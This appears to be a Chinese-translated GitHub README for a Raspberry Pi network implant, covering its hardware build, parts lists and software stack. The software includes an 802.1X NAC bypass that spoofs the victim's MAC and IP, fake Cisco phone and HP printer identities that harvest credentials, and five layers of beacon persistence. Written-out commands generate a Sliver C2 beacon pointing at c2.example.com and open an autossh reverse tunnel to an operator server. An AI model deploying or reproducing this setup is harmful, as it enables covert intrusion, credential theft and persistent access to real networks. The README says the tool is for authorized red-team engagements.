BenjiTrapp/TrashPandaPaws

GitHub: BenjiTrapp/TrashPandaPaws

基于 Raspberry Pi/CM4 的红队硬件植入设备,以内联以太网分路器形式提供透明流量捕获、NAC 绕过、伪装身份和远程 C2 访问能力。

Stars: 0 | Forks: 0

TrashPandaPaws Logo

TrashPandaPaws

GitHub Platform OS License

红队网络硬件植入设备,基于 Raspberry Pi 4 和定制 PCB HAT 构建, 运行 **ParrotOS** (ARM64)。专为授权的渗透测试而设计。 ## 概述 Raccoon Implant 是一种内联 Ethernet tap,通过桥接定制 HAT 上的两个网络端口, 透明地捕获流量,并提供远程 C2 访问——所有这些都通过上游交换机端口的 PoE 供电。 该设备可以将自身伪装成 Cisco IP 电话或 HP 网络打印机,以混入企业基础设施中。 ## 架构 ``` graph LR SW["Switch Port
(PoE 802.3af)"] -->|"RJ45 + PoE"| ETH0["Pi ETH0
(upstream)"] ETH0 -->|"PoE Header J14"| POE["HAT PoE
SI3402-B → TPS54302"] POE -->|"5V @ 3A"| PI["Raspberry Pi 4
ParrotOS ARM64"] ETH0 <-->|"br0 bridge"| ETH1["HAT ETH1
RTL8153B USB GbE"] ETH1 -->|"RJ45"| TGT["Target Device"] subgraph Raccoon HAT PCB POE ETH1 end style SW fill:#4a9,stroke:#333,color:#fff style TGT fill:#e74,stroke:#333,color:#fff style PI fill:#47a,stroke:#333,color:#fff ``` ``` graph TB subgraph Software Stack MAIN["main.py
Orchestrator"] --> NAC["nac_bypass.py
802.1X Bypass"] MAIN --> BRIDGE["bridge_tap.py
L2 Bridge + Sniffer"] MAIN --> COVER["Cover Identity"] MAIN --> C2["C2 Channel"] MAIN --> EXFIL["Exfiltrator"] COVER --> CISCO["cisco_phone.py
Cisco IP Phone 7960"] COVER --> HP["hp_printer.py
HP LaserJet MFP M478"] C2 --> SLIVER["sliver.py
Sliver Beacon (primary)"] C2 --> PYBCN["beacon.py
Python Beacon (fallback)"] BRIDGE --> PCAP["pcap_writer.py
Rotating PCAP"] end subgraph Persistence SYSD["systemd
raccoon-implant.service"] --> MAIN BEACON_SVC["systemd
raccoon-beacon.service"] --> C2_STANDALONE["beacon_standalone.py
Sliver → Fallback"] CRON["crontab @reboot"] --> C2_STANDALONE RCLOCAL["rc.local"] --> C2_STANDALONE end style MAIN fill:#47a,stroke:#333,color:#fff style SLIVER fill:#c44,stroke:#333,color:#fff style C2_STANDALONE fill:#c44,stroke:#333,color:#fff ``` ## 硬件 | 组件 | 部件 | 用途 | |--------------------------|-----------------------|--------------------------------| | SBC | Raspberry Pi 4B 4GB | 计算 (ParrotOS ARM64) | | PoE PD 控制器 | SI3402-B | IEEE 802.3af PoE 提取 | | DC-DC 转换器 | TPS54302 | 48V → 5V @ 3A | | USB 转 GbE 控制器 | RTL8153B-VB-CG | 第二 Ethernet 端口 | | RJ45 接口 | HR911105A | 下游 Ethernet 连接器 | | GPIO 排针 | 2x20 针 2.54mm | Pi HAT 接口 | 完整 BOM:[`hardware/bom.csv`](hardware/bom.csv) PCB 设计:[`hardware/kicad/`](hardware/kicad/) ### v2: 集成载板 (CM4) 单板设计,用 Raspberry Pi 计算模块 4 (CM4) 载板取代了 Pi 4 + HAT 堆栈。 所有组件都集成在一块 85×56mm 的 4 层 PCB 上。 ``` graph LR SW["Switch Port
(PoE 802.3af)"] -->|"RJ45 + PoE"| J1["J1 RJ45
(upstream)"] J1 -->|"MDI 0-3"| CM4["CM4 Module
BCM2711 quad A72
ParrotOS / Kali"] J1 -->|"CT taps"| POE["SI3402-B → TPS54302
PoE → 5V"] POE --> CM4 CM4 -->|"USB 3.0"| RTL["RTL8153B
USB-to-GbE"] RTL --> J2["J2 RJ45
(downstream)"] J2 --> TGT["Target Device"] CM4 --> USBC["USB-C
Debug/Flash"] subgraph "Raccoon v2 PCB (85×56mm, 4-layer)" J1; POE; CM4; RTL; J2; USBC end style SW fill:#4a9,stroke:#333,color:#fff style TGT fill:#e74,stroke:#333,color:#fff style CM4 fill:#47a,stroke:#333,color:#fff ``` | | v1 (Pi 4 + HAT) | v2 (CM4 载板) | |---|---|---| | 电路板 | 2(堆叠) | 1 | | 尺寸 | 85×56 + 65×56mm | 85×56mm | | 高度 | ~25mm | ~10mm | | 成本 | ~$75 | ~$53 | | ETH1 | USB 数据线/适配器 | 板载走线 | | PCB 层数 | 2 | 4 | 设计指南:[`hardware/v2-integrated/design-guide.md`](hardware/v2-integrated/design-guide.md) BOM:[`hardware/v2-integrated/bom.csv`](hardware/v2-integrated/bom.csv) ### 购物清单(零售 / Amazon) 即买即用的模块——这些组件不需要 SMD 焊接。请在 Amazon、AliExpress 或当地零售商处搜索确切的产品名称。 | 数量 | 物品 | 搜索词 | 预估价格 | |-----|------|-------------|------------| | 1 | Raspberry Pi 4 Model B 4GB | `Raspberry Pi 4 Model B 4GB RAM` | ~60 € | | 1 | USB 3.0 Gigabit Ethernet Adapter (RTL8153) | `USB 3.0 Gigabit Ethernet Adapter RTL8153` | ~12 € | | 1 | microSD Card 32GB+ (A2, U3) | `SanDisk Extreme 32GB microSD A2` | ~10 € | | 1 | USB-C 电源 5V 3A(仅限开发/实验室) | `Raspberry Pi 4 USB-C Netzteil 5V 3A` | ~10 € | | 2 | 短 Ethernet 线(30cm,Cat6) | `Cat6 Ethernet Kabel 30cm kurz` | ~5 € | | 1 | Raspberry Pi 4 外壳(可选,用于实验室测试) | `Raspberry Pi 4 Gehäuse` | ~8 € | ### 零件采购(电子元器件分销商) 定制 PoE HAT PCB 所需的所有 IC 和无源器件。链接指向 Mouser、DigiKey 和 LCSC 上的制造商产品页面——这些是稳定的物料编号 URL。 #### IC 和有源组件 | 部件 | MPN | 描述 | 分销商链接 | |------|-----|-------------|-------------------| | PoE PD 控制器 | SI3402-B-FS | IEEE 802.3af PD, QFN-20 | [Mouser](https://www.mouser.com/c/?q=SI3402-B-FS) · [DigiKey](https://www.digikey.com/en/products/filter?keywords=SI3402-B-FS) | | DC-DC 转换器 | TPS54302DDCR | 3A 28V 降压, SOT-23-6 | [Mouser](https://www.mouser.com/c/?q=TPS54302DDCR) · [DigiKey](https://www.digikey.com/en/products/filter?keywords=TPS54302DDCR) | | USB-GbE 控制器 | RTL8153B-VB-CG | USB 3.0 转 GbE, QFN-48 | [LCSC](https://www.lcsc.com/search?q=RTL8153B-VB-CG) | | 3.3V LDO | AP2112K-3.3TRG1 | 600mA LDO, SOT-23-5 | [Mouser](https://www.mouser.com/c/?q=AP2112K-3.3TRG1) · [DigiKey](https://www.digikey.com/en/products/filter?keywords=AP2112K-3.3TRG1) | | SPI Flash | W25Q16JVSSIQ | 16Mbit, SOP-8 (RTL8153B 固件) | [LCSC](https://www.lcsc.com/search?q=W25Q16JVSSIQ) | #### 磁性元件、连接器和二极管 | 部件 | MPN | 描述 | 分销商链接 | |------|-----|-------------|-------------------| | PoE 变压器 | 750342460 | 反激式 48V:5V | [Mouser](https://www.mouser.com/c/?q=750342460) | | RJ45 + 磁性元件 | HR911105A | 10/100/1000, THT | [LCSC](https://www.lcsc.com/search?q=HR911105A) | | GPIO 排针 | SSW-120-02-G-D | 2x20 2.54mm, THT | [Mouser](https://www.mouser.com/c/?q=SSW-120-02-G-D) · [DigiKey](https://www.digikey.com/en/products/filter?keywords=SSW-120-02-G-D) | | USB-A 公头 | USB 3.0 Type-A Male | SMD,连接 Pi USB 端口 | [Mouser](https://www.mouser.com/c/?q=USB+3.0+type+A+male+SMD) | | 肖特基二极管 | MBRS340T3G | 40V 3A, SMA | [Mouser](https://www.mouser.com/c/?q=MBRS340T3G) | | TVS 二极管 | SMBJ58A | 58V PoE 保护 | [Mouser](https://www.mouser.com/c/?q=SMBJ58A) | | 双肖特基二极管 | BAT54S | SOT-23 (×2) | [Mouser](https://www.mouser.com/c/?q=BAT54S) | | 25MHz 晶振 | 25MHz 3215 | 用于 RTL8153B | [LCSC](https://www.lcsc.com/search?q=25MHz+3215+crystal) | | PTC 自恢复保险丝 | nSMD050-24V | 500mA 可恢复, 1206 | [Mouser](https://www.mouser.com/c/?q=nSMD050-24V) | #### 无源器件(电容、电阻、电感、LED) | 部件 | MPN | 参数 / 封装 | 数量 | 来源 | |------|-----|-----------------|-----|--------| | 功率电感 | SRN6045TA-100M | 10µH 3A, 1210 | 1 | [Mouser](https://www.mouser.com/c/?q=SRN6045TA-100M) | | 电感 | LQM21FN4R7M | 4.7µH, 0805 | 1 | [LCSC](https://www.lcsc.com/search?q=LQM21FN4R7M) | | 电解电容 | UVR1H101MDD1TD | 100µF 50V (×2) | 2 | [Mouser](https://www.mouser.com/c/?q=UVR1H101MDD1TD) | | MLCC 22µF | CL21A226MQQNNNG | 22µF 10V, 0805 (×2) | 2 | [LCSC](https://www.lcsc.com/search?q=CL21A226MQQNNNG) | | MLCC 10µF | CL21A106KOQNNNG | 10µF 25V, 0805 (×2) | 2 | [LCSC](https://www.lcsc.com/search?q=CL21A106KOQNNNG) | | MLCC 100nF | CL05B104KO5NNNC | 100nF, 0402 (×6) | 6 | [LCSC](https://www.lcsc.com/search?q=CL05B104KO5NNNC) | | MLCC 10pF | CL05C100JB5NNNC | 10pF, 0402 (×2) | 2 | [LCSC](https://www.lcsc.com/search?q=CL05C100JB5NNNC) | | 电阻 | 0402 混合装 | 75R, 1K, 10K, 22K, 25.5K, 49.9K, 100K | 10 | [LCSC](https://www.lcsc.com/search?q=RC0402FR) | | 绿色 LED | 19-217/GHC-YR1S2/3T | 0402 链路活动指示 | 1 | [LCSC](https://www.lcsc.com/search?q=19-217%2FGHC-YR1S2) | | 琥珀色 LED | 19-217/Y2C-CQ2R2L/3T | 0402 电源指示 | 1 | [LCSC](https://www.lcsc.com/search?q=19-217%2FY2C-CQ2R2L) | ## 软件 ### 功能 - 透明 Ethernet 网桥(零配置内联 tap) - 使用 BPF 过滤器进行选择性流量捕获 → PCAP 轮转 - **两种伪装身份**(可通过 `configs/raccoon.yaml` 选择): - **Cisco IP 电话 7960** — SIP/RTP/HTTP 管理界面 - **HP Color LaserJet Pro MFP M478** — HTTP (401), JetDirect/PJL (9100), LPD (515), CUPS/IPP (631), SNMP (161), Telnet (23) - **802.1X NAC 绕过** — EAPOL 转发 + 被动发现 + ebtables/iptables L2/L3 重写 - **远程访问** — SSH 反向隧道(autossh)+ VNC(无头 x11vnc),两者均可配置 - 从 HTTP 基本认证和 Telnet 登录尝试中捕获凭据 - 通过 DNS/HTTPS 进行 C2 beacon 通信(带有抖动回调) - 通过 DNS 隧道或 HTTPS 进行捕获数据外发 - Watchdog + systemd 自动恢复 - 完整的 Cisco IOS 风格日志记录 ### 伪装模式 | 模式 | 配置值 | 服务 | 适用场景 | |------|-------------|----------|----------| | Cisco VoIP 电话 | `cisco_phone` | HTTP :80, SIP :5060, RTP :10000 | VoIP 密集型环境 | | HP 网络打印机 | `hp_printer` | HTTP :80, PJL :9100, LPD :515, IPP :631, SNMP :161, Telnet :23 | 带有网络打印机的办公环境 | 在 `configs/raccoon.yaml` 中设置 `cover.mode` 进行切换。 ### 快速设置 ``` # 在全新的 ParrotOS ARM64 安装上 (Raspberry Pi 4) sudo ./software/setup/bootstrap.sh # system deps + ParrotOS hardening sudo ./software/setup/configure_bridge.sh # bridge eth0 <-> eth1 sudo ./services/install.sh # systemd + beacon persistence sudo reboot # activates MAC spoof + bridge + beacon autorun ``` 重启后,C2 beacon 会通过 5 个独立的持久化层自动启动——无需手动执行 `systemctl start`。 ### Beacon 持久化(自动运行) ``` graph TD BOOT["Pi Boot
(ParrotOS)"] --> MAC["raccoon-macspoof.service
MAC Spoofing"] MAC --> NET["Network Online"] NET --> SVC["Layer 1: systemd
raccoon-beacon.service
(30s delay)"] NET --> CRON["Layer 2: crontab
@reboot
(45s delay)"] NET --> RC["Layer 3: rc.local
(60s delay)"] NET --> UDEV["Layer 4: udev
on eth0 up
(30s delay)"] SVC --> PID{"PID Lock
/tmp/.raccoon_beacon.pid"} CRON --> PID RC --> PID UDEV --> PID PID -->|"first wins"| BEACON["beacon_standalone.py
HTTPS + DNS C2"] PID -->|"duplicates exit"| SKIP["exit 0"] TIMER["Layer 5: systemd timer
every 5 min"] -->|"if beacon dead"| SVC style BEACON fill:#c44,stroke:#333,color:#fff style PID fill:#fa0,stroke:#333,color:#000 style TIMER fill:#47a,stroke:#333,color:#fff ``` PID 锁文件可防止重复实例化——无论哪个层先启动都会持有锁,其余的将静默退出。如果所有实例死亡,systemd timer 的 watchdog 将重启 beacon。 ### 为什么选择 ParrotOS? - 预装安全工具(scapy, tcpdump, nmap, aircrack, john 等) - 强化的 Debian 基础系统和 AppArmor 配置文件 - 攻击面比 Kali 更小(更轻量级的桌面选项) - Raspberry Pi 4 的官方 ARM64 镜像 - 包含 `macchanger`,支持开机时 MAC 欺骗 - 熟悉的 `apt` 包管理 ### C2: Sliver 集成 Raccoon Implant 使用 [Sliver](https://github.com/BishopFox/sliver) 作为主要的 C2 框架。 定制的 Python beacon 在 Sliver 二进制文件不可用时作为后备。 ``` graph LR subgraph "Operator Machine" SERVER["Sliver Server"] -->|"generate beacon
--os linux --arch arm64"| BIN["raccoon implant
(Go binary)"] end BIN -->|"scp / staging URL"| PI["Raspberry Pi 4
/opt/raccoon/bin/implant"] subgraph "Raccoon Implant (Target Network)" PI --> MGR["sliver.py
SliverManager"] MGR -->|"primary"| SLIVER["Sliver Beacon
mTLS / HTTPS / DNS"] MGR -->|"if binary missing"| FALLBACK["beacon.py
Python Fallback
HTTPS / DNS"] end SLIVER -->|"mTLS :8888
HTTPS :443
DNS"| SERVER FALLBACK -->|"HTTPS / DNS"| SERVER style SLIVER fill:#c44,stroke:#333,color:#fff style FALLBACK fill:#fa0,stroke:#333,color:#000 style SERVER fill:#47a,stroke:#333,color:#fff ``` **部署(在操作员机器上):** ``` # 选项 1:交互式 — 打开 Sliver 控制台 ./software/setup/deploy_sliver.sh generate # 选项 2:自动化 — 使用默认值生成 ./software/setup/deploy_sliver.sh generate-auto c2.example.com # 部署到 implant 设备 ./software/setup/deploy_sliver.sh deploy 192.168.1.100 # 或一步生成 + 部署 ./software/setup/deploy_sliver.sh full c2.example.com 192.168.1.100 ``` **推荐的 Sliver 生成命令:** ``` generate beacon --os linux --arch arm64 \ --mtls c2.example.com:8888 \ --http c2.example.com \ --dns c2.example.com \ --seconds 300 --jitter 20 \ --skip-symbols \ --name raccoon \ --save ./bin/implant ``` ### 802.1X NAC 绕过 Raccoon Implant 可以通过内联串联在已认证设备和交换机之间,来绕过基于端口的网络访问控制 (802.1X)。 ``` graph LR SW["Switch
(802.1X enforced)"] -->|"eth0"| PI["Raccoon Implant
br0 bridge"] PI -->|"eth1"| DEV["Authenticated
Device"] subgraph "Phase 1: EAPOL forwarding" direction LR DEV -.->|"EAP frames"| PI -.->|"forwarded"| SW end subgraph "Phase 3: active bypass" direction LR PI -->|"victim MAC+IP"| SW end style PI fill:#c44,stroke:#333,color:#fff style SW fill:#4a9,stroke:#333,color:#fff style DEV fill:#47a,stroke:#333,color:#fff ``` **工作原理:** | 阶段 | 操作 | 工具 | |-------|--------|-------| | 1. EAPOL 转发 | 网桥传递 802.1X 认证帧,使受害者保持已认证状态 | `ebtables`, `group_fwd_mask` | | 2. 发现 |被动 ARP 嗅探获取受害者 MAC/IP 和网关 MAC/IP | `tcpdump` | | 3. 主动绕过 | 重写植入设备的外出流量,使用受害者的 MAC+IP | `ebtables`, `iptables`, `arptables` | 受害者的真实流量将继续不受影响地通过网桥传输。 **在配置中启用:** ``` nac_bypass: enabled: true discovery_timeout: 120 ``` **或独立运行:** ``` sudo ./software/setup/nac_bypass.sh setup # full automated bypass sudo ./software/setup/nac_bypass.sh status # show discovered hosts + rules sudo ./software/setup/nac_bypass.sh reset # tear down everything ``` ### 远程访问 (SSH + VNC) 植入设备会与操作员控制的服务器建立 **反向 SSH 隧道**,即使在 NAT/防火墙之后也能提供持久的 shell 访问。可选的 **VNC 服务器**(无头)提供图形化桌面,只能通过 SSH 隧道访问。 ``` graph LR OP["Operator Machine"] -->|"ssh -p 2222
root@localhost"| SRV["Operator SSH Server
(public IP)"] SRV -->|"reverse tunnel
port 2222"| PI["Raccoon Implant
(target network)"] PI -.->|"autossh -R 2222:127.0.0.1:22"| SRV subgraph "Implant (localhost only)" SSHD["sshd :22"] VNC["x11vnc :5900"] end PI --- SSHD PI --- VNC style OP fill:#47a,stroke:#333,color:#fff style SRV fill:#4a9,stroke:#333,color:#fff style PI fill:#c44,stroke:#333,color:#fff ``` **安装:** ``` sudo ./software/setup/remote_access.sh install # install + configure sudo ./software/setup/remote_access.sh show-pubkey # print key for operator server sudo ./software/setup/remote_access.sh status # check services ``` **从操作员机器访问:** ``` # Shell 访问(在 operator SSH 服务器上): ssh -p 2222 root@localhost # VNC 访问(通过 tunnel 转发 VNC 端口): ssh -p 2222 -L 5900:127.0.0.1:5900 root@localhost # 然后将 VNC 查看器连接到 localhost:5900 ``` 这两个功能都可以在 `configs/raccoon.yaml` 中独立配置: ``` remote_access: ssh: ssh_enabled: true ssh_remote_host: "c2.example.com" # operator server ssh_remote_user: "raccoon" ssh_tunnel_port: 2222 # port on operator server ssh_key_type: "ed25519" # auto-generated keypair vnc: vnc_enabled: false # enable for graphical access vnc_port: 5900 vnc_password: "raccoon" vnc_resolution: "1024x768" ``` ### 配置 在部署前编辑 [`configs/raccoon.yaml`](configs/raccoon.yaml)。 #### 伪装身份 设置 `cover.mode` 以选择植入设备在网络中伪装的设备: ``` cover: enabled: true mode: "cisco_phone" # or "hp_printer" ``` | 模式 | 值 | 最适合 | 模拟服务 | |------|-------|----------|-------------------| | Cisco IP 电话 7960 | `cisco_phone` | VoIP/UC 环境,会议室 | HTTP 登录页面,SIP (INVITE/OPTIONS/REGISTER),RTP 回显 | | HP LaserJet MFP M478 | `hp_printer` | 带有网络打印机的普通办公室 | HP EWS 登录,JetDirect/PJL,LPD,IPP/CUPS,SNMP (BER),Telnet | 两种伪装都包括: - **凭据收集** — 捕获的登录尝试将被记录并通过通知转发 - **浏览器指纹识别** — 基于 JavaScript 的侦察(Canvas、WebGL/GPU、WebRTC 本地 IP、屏幕分辨率、时区、已安装插件、硬件并发数) - **逼真的设备元数据** — 来自真实供应商 OUI 范围的 MAC 地址,正确的协议响应 可以在同一文件中针对每个伪装调整服务端口: ``` cisco_phone: http_port: 80 sip_port: 5060 rtp_port: 10000 hp_printer: http_port: 80 pjl_port: 9100 lpd_port: 515 ipp_port: 631 snmp_port: 161 telnet_port: 23 ``` #### 通知 (Slack / Discord / Teams) 捕获的凭据、浏览器指纹和系统事件可以实时推送到一个或多个 webhook 频道。 ``` notifications: enabled: true slack: enabled: true webhook_url: "https://hooks.slack.com/services/T.../B.../xxx" discord: enabled: true webhook_url: "https://discord.com/api/webhooks/123/abc" teams: enabled: true webhook_url: "https://your-tenant.webhook.office.com/webhookb2/..." ``` **设置 Microsoft Teams webhooks:** 1. 打开 Microsoft Teams → 选择或创建一个用于接收警报的频道 2. 点击频道上的 **`...`** 菜单 → **连接器**(或 **管理频道** → **连接器**) 3. 搜索 **传入 Webhook** → 点击 **配置** 4. 为其命名(例如 "Raccoon Implant"),并可选择上传图标 5. 点击 **创建** → 复制 webhook URL 6. 将 URL 粘贴到 `raccoon.yaml` 中的 `notifications.teams.webhook_url` 里 这三个平台可以同时启用。每次凭据捕获、指纹识别和健康状态事件都会被分发到所有已启用的频道。 #### 测试服务器 在本地测试伪装身份,无需部署到 Pi: ``` # 启动两个 cover(非特权端口) python -m software.tests.test_server # 仅限 Cisco python -m software.tests.test_server --cover cisco # 仅限 HP Printer python -m software.tests.test_server --cover printer # 带有 Teams 通知 python -m software.tests.test_server --cover printer \ --teams-webhook "https://your-tenant.webhook.office.com/webhookb2/..." # 带有多个通知渠道 python -m software.tests.test_server --cover both \ --slack-webhook "https://hooks.slack.com/services/..." \ --discord-webhook "https://discord.com/api/webhooks/..." \ --teams-webhook "https://your-tenant.webhook.office.com/..." ``` 测试服务器使用非特权端口(HTTP 为 8080/8081,SIP 为 15060 等),因此无需 root 权限。启动时会打印端点和测试命令。 在 Windows 上,如果制表符无法正常显示,请设置 `PYTHONIOENCODING=utf-8`: ``` $env:PYTHONIOENCODING = "utf-8" python -m software.tests.test_server --cover both ``` ## 项目结构 ``` graph LR subgraph hardware KICAD["kicad/
Schematic + PCB"] GERBER["gerber/
Manufacturing"] BOM["bom.csv"] end subgraph software MAIN_PY["main.py"] subgraph sniffer BTAP["bridge_tap.py"] PCAPW["pcap_writer.py"] end subgraph cover CISCO_PY["cisco_phone.py"] HP_PY["hp_printer.py"] end subgraph c2 SLIVER_PY["sliver.py"] BEACON_PY["beacon.py"] BEACON_SA["beacon_standalone.py"] EXFIL_PY["exfil.py"] end NAC_PY["nac_bypass.py"] subgraph setup BOOT["bootstrap.sh"] BRCFG["configure_bridge.sh"] NAC_SH["nac_bypass.sh"] REMOTE["remote_access.sh"] PERSIST["persist.sh"] DEPLOY["deploy_sliver.sh"] end end subgraph services SVC_IMP["raccoon-implant.service"] SVC_BCN["raccoon-beacon.service"] SVC_WD["raccoon-watchdog.service"] SVC_SSH["raccoon-ssh-tunnel.service"] SVC_VNC["raccoon-vnc.service"] INSTALL["install.sh"] end subgraph configs YAML["raccoon.yaml"] end ``` ## 法律声明 此工具仅用于**授权的红队交战**。 未经授权对你不拥有或没有明确书面测试许可的网络使用此工具是违法的。作者对滥用行为不承担任何责任。
标签:逆向工具